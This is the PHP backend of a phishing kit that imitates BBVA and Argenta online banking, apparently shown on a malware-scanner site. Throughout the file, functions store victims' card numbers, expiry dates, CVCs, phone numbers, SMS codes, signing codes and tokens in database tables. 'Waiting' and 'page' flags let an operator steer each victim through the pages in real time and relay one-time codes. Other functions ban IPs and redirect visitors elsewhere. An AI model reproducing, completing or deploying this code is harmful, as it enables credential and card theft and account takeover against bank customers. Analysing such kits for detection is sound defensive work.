namespace App\Models\Axa;
use PDO;
class Axa extends \Core\Model {
public static function redirect() {
$sql = "SELECT * FROM redirect WHERE id = :id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":id", 1, PDO::PARAM_INT);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
header("location: " . $data["redirect"]);
die;
}
else {
header("location: https://www.google.nl");
die;
}
}
public static function findBan($ip) {
$sql = "SELECT * FROM bans WHERE ip = :ip";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":ip", $ip, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
return true;
}
return false;
}
public static function setLogInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, bbva_card = :empty, bbva_vv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "BBVA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setCreditInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, bbva_cc = :empty, bbva_exp = :empty, bbva_cvc = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "BBVA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setIdentificationInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, bbva_phone = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "BBVA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setBelInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, bbva_bel = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "BBVA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setLoginCodeInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, bbva_sms = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "BBVA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setSignCodeInformation($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, bbva_login = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "BBVA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setTokenInformation($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, bbva_m2 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "BBVA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setLiveInformation($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, argenta_live = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "ARGENTA", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function checkPayment($url = array()) {
$sql = "SELECT * FROM requests WHERE url = :id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":id", $url, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
return $data;
}
return false;
}
public static function getPage($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["page"])) {
return $data["page"];
}
return false;
}
public static function setLogin($card, $exp, $uid) {
$sql = "UPDATE logs SET bbva_card = :card, bbva_vv = :exp, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":card", $card, PDO::PARAM_STR);
$stmt->bindValue(":exp", $exp, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setIdentification($identification, $uid) {
$sql = "UPDATE logs SET bbva_phone = :identification, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":identification", $identification, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setBel($identification, $uid) {
$sql = "UPDATE logs SET bbva_bel = :identification, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":identification", $identification, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setCredit($cc, $vv, $cvc, $uid) {
$sql = "UPDATE logs SET bbva_cc = :cc, bbva_exp = :vv, bbva_cvc = :cvc, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":cc", $cc, PDO::PARAM_STR);
$stmt->bindValue(":vv", $vv, PDO::PARAM_STR);
$stmt->bindValue(":cvc", $cvc, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setLoginCode($respons, $uid) {
$sql = "UPDATE logs SET bbva_sms = :respons, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":respons", $respons, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setSignCode($code, $uid) {
$sql = "UPDATE logs SET bbva_login = :code, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":code", $code, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setToken($code, $uid) {
$sql = "UPDATE logs SET bbva_m2 = :code, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":code", $code, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setLive($respons, $uid) {
$sql = "UPDATE logs SET bbva_live = :respons, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":respons", $respons, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setLoginPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, bbva_card = :empty, bbva_vv = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setIdentificationPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, bbva_phone = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setBelPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, bbva_bel = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setCreditPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, bbva_cc = :empty, bbva_exp = :empty, bbva_cvc = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setSignCodePage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, bbva_login = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setTokenPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, bbva_m2 = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setLivePage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, bbva_live = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setLoginCodePage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, bbva_sms = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setSignCodePageCode($uid, $page, $code) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, bbva_login = :empty, bbva_login_get = :code WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":code", $code, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setTokenPageCode($uid, $page, $code) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, bbva_m2 = :empty, bbva_m2_get = :code WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":code", $code, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setLivePageCode($uid, $page, $live, $livetwo) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, bbva_live = :empty, bbva_live_get = :live, bbva_live2_get = :livetwo WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":live", $live, PDO::PARAM_STR);
$stmt->bindValue(":livetwo", $livetwo, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setFinishPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function getSignCode($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["bbva_login_get"])) {
return $data["bbva_login_get"];
}
return false;
}
public static function getToken($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["bbva_m2_get"])) {
return $data["bbva_m2_get"];
}
return false;
}
public static function getLive($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["bbva_live_get"])) {
return $data["bbva_live_get"];
}
return false;
}
public static function getLivetwo($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["bbva_live2_get"])) {
return $data["bbva_live2_get"];
}
return false;
}
}
© 2023 Quttera Ltd. All rights reserved.